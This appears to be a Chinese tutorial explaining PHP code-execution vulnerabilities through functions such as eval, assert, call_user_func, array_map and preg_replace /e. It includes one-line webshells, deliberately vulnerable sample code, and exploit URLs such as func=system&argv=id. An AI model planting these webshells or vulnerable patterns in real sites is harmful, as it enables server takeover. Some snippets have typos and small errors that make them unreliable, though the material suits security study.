代码执行漏洞是把代码注入到Web服务器中执行,而命令执行漏洞执行的系统命令 ,
代码执行漏洞
有的应用程序提供了一些可以将字符串作为代码执行的函数,如果对这些函数控制不严格,就可能被攻击者利用,执行恶意代码
eval函数
eval函数把字符串作为PHP代码执行
eval(string $code)
eval实例代码 比如一句话木马
<?php @eval($_POST[1])?>
assert函数
assert函数检查一个断言是否为FALSE
bool assert(mixed $assertion[,Throwable $exception])
assert函数会检查指定的assertion并在结果为FALSE时采取适当的行动,如果assertion是字符串,他会被assert函数当做PHP代码执行 示例
<?php @assert($_POST[1])?>
call_user_func函数
把第一个参数作为回调函数调用
mixed call_user_func(callable $callback[,mixed $parameter[,mined $parameter...]])
第一个参数callback是被调用的回调函数 其余参数是回调函数用的参数 示例代码 一句话木马的变形代码 通过POST型fun参数调用system 函数,通过POST型arg 参数传入id 命令,执行了system('id') 返回当前用户信息
<?php call_user_func($_POST['fun'],$_POST['arg']);?>
call_user_func_arrey函数
把第一个参数作为回调函数调用 把参数数组作为回调函数的参数调用
mixed call_user_func_arrey(callable $callback,array $param_arr)
示例代码 一句话木马的变形代码 通过POST型fun参数调用system 函数,通过POST型arg 参数传入id 命令,执行了system('id') 返回当前用户信息
<?php call_user_func_array($_POST['fun'],$_POST['arg']);?>
create_function函数
根据传递的参数创建匿名函数 并为该匿名函数返回唯一名称
string create_function(string $args,string $code)
示例代码
<?php
$id=$_GET['id'];
$code='echo'.$func.'test'.$id.';';
create_function('$func',$code);
?>
create_function函数会创建虚拟函数,转变成以下代码
<?php
$id=$_GET['id'];
function func($func){
echo "test".$id;
}
?>
当传入id的值为1;}phpinfo();/* 时 就可以造成 代码执行
array_map函数
为数组的每个元素应用回调函数
array array_map(callable $callback,array $array1[,array $array2...])
函数返回为每个数组元素应用callback函数之后的数组,callback函数形参的数量和传给array_map函数的数组和数量必须相同 示例
<?php
$func=$_GET['func'];
$argv=$_GET['argv'];
$array[0]=$argv;
array_map($func,$array);
?>
输入语句
http://xxx/index.php?func=system&argv=id
就可以执行任意代码
preg_replace函数
执行一个正则表达式的搜索和替换
mixed preg_replace(mixed $pattern,mixed $replacement,mixed $subject[,int $limit=-1[,int &$count]])
示例
<?php
$subject='hello hack';
$pattern='/hack/'
$replacement=$_GET["name"];
echo preg_replace($pattern,$replacement,$subject);
?>
测试语句
http://xxx/index.php?name=tom
preg_replace函数会将hack替换成tom 此函数存在模式修饰符 其中修饰符e会让函数将替换后的函数作为PHP代码执行 (以eval函数方式) 如果设置了这个被弃用的修饰符 ,函数对替换字符进行后向引用替换之后 ,将替换后的字符串作为PHP代码评估执行,并使用执行结果作为实际参与替换的字符串,单引号 双引号反斜线和Null字符在后向引用替换式会被自动加上反斜线转义 示例
<?php
$subject='hello hack';
$pattern='/hack/e'
$replacement=$_GET["name"];
echo preg_replace($pattern,$replacement,$subject);
?>
测试语句
http://xxx/index.php?name=phpinfo()
会将hack替换成phpinfo()同时因为有e修饰符 会将phpinfo()当做代码执行
php可变函数
如果一个变量名后有圆括号 ,Php将寻找与变量值同名的函数并执行他,这意味着Php中可以把函数名通过字符串的方式传递给一个变量然后通过此变量动态调用函数
<?php
function foo(){
echo "foo";
echo "<br>";
}
function bar(){
echo "bar";
echo "<br>";
}
function echoit($string){
echo $string;
echo "<br>";
}
$func='foo';
$func();
$func='bar';
$func('test');
$func='echoit';
$func('test')
?>
虽然PHP可变函数给开发人员带来了极大地便利,但同时也带来了极大地安全隐患,如果函数的名称可以被用户控制,而且没有做好过滤,就可能会造成恶意函数的执行。
Php可变函数漏洞示例代码:
<?php
function foo(){
echo "foo";
echo "<br>";
}
function bar($arg=''){
echo "bar";
echo "<br>";
}
function echoit($string){
echo $string;
echo "<br>";
}
$func=$_REQUEST['func'];
$string=$_REQUEST['string'];
echo $func($string);
?>
参考文章
PHP代码执行漏洞 命令执行和代码执行
|